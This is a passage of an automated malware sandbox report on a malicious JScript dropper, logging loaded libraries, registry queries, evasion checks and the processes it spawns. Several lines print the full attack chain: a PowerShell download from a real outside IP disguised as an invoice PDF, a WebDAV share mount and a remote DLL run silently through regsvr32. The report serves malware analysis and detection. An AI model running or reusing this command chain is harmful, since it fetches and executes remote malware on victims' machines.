Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6972.js.csv");ITextStream.WriteLine(" entry:8186 f:wozqprijv");ITextStream.WriteLine(" exec:2 f:wozqprijv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3611			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6251			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7976	Thread sleep count: 3611 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980	Thread sleep count: 6251 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8060	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7272	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1256	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1362553147.00000185C9873000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{
Source: net.exe, 00000007.00000002.1362553147.00000185C9808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm
Source: net.exe, 00000007.00000002.1362553147.00000185C9873000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2587401650.000001BD88A5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2584004004.000001BD8342B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
